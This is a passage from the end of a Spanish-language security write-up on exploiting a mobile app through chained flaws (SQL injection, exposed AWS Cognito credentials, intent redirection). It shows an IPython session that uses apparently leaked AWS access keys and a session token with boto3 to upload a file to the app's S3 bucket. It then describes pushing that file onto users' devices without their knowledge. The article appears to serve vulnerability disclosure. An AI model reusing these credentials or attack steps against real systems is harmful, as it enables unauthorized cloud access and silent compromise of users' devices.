pMOeFCMrUrbBbHOwtz8tTnO78T6GcQTN6vF8Lcb21ExqlAgr/V61KDtS3z05LqIFdDugXihW5f6k/663IV7VWSnW5DQMk5t6fGRjqjDul5SDBjqHAuh+sQ22Te+LBgqRYqXhxrd5TfUAqS9QWaaZBOE6i8pOAN9RIXn6vcbObCOVVyt3wnNQ6Oi1URDQCn8DUn0MdFO6NQ2EJ4Y9H9yLm4foG3uJqAiiNPX78lIDa1qkvqaQBckNxhIYsSlrU5p2NdTl5k5woo8pWk2VAibgcq+JfqGrAZ6+tKR2Qy5aP96s49kOcRTqLrPcWjaDl9EWRIHSE20oWqFZgtzhUTKeuH/6dxQKI22MExMYSWJ3haIh4AaKVEpXbbtZ4oJ64w1ZWz5CU7zOnl4m2F8Bwh9hb6mP+95IUp0o9/kXcPjDe9YJ6kYFbDhU4oGCAjAHCxWsL6vJ5poJ/qNL3O15"},"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b"}

Las claves y los secretos obtenidos pueden utilizarse para subir un archivo malicioso:

In [3]: client = boto3.client('s3', aws_access_key_id='ASIA434KFTPDWAXUDMIH', aws_secret_access_key='/zG9QSpBVeJGIWCg4tLGrJDcebFFscSoNvwMRNaO', aws_session_token='IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAJ
rgBgcgwfTTRKStiKqJm0V5lhCaOZGdv5FsTDnjJ1VdAiBPLLqsTPECBMvqlYgZtxQvdjkogHQ6e/sC7sEKx9vzYyqkBgiY//////////8BEAAaDDg4NDUxNjE2NjU5OSIM/3UJHbnWKR8tbGbCKvgFRxHRJ9I3p7eVLDUuFPLWv8ILMCn5Mg1wxDLnY/U1IfbkRRk3V6Evojk
 In [17]: client.upload_file('cross3x3.png', '3gcdn.tokyo', '/tmp/9A6C7-2021-03-09/headpic/crsog.pn')          

Después podemos encadenar el proxy de intents con la funcionalidad de descarga para descargar el archivo en el dispositivo sin que el usuario lo sepa ni dé su consentimiento.

Texto alternativo
Esquema del ataque

Conclusión

Este artículo muestra cómo pueden encadenarse varias vulnerabilidades para explotar una aplicación móvil de forma remota. Los archivos pueden exfiltrarse del dispositivo, igual que insertarse, sin que el usuario lo sepa ni dé su consentimiento.

También hay varias deficiencias de seguridad, desde el tráfico en texto claro hasta las contraseñas incrustadas en el código y los algoritmos de cifrado inseguros.

Lo alarmante es cómo aplicaciones tan vulnerables pueden llegar a muchos usuarios mostrando, a la vez, descuido hacia la seguridad y la privacidad de sus usuarios.

Etiquetas:

sqli, aws, intent redirection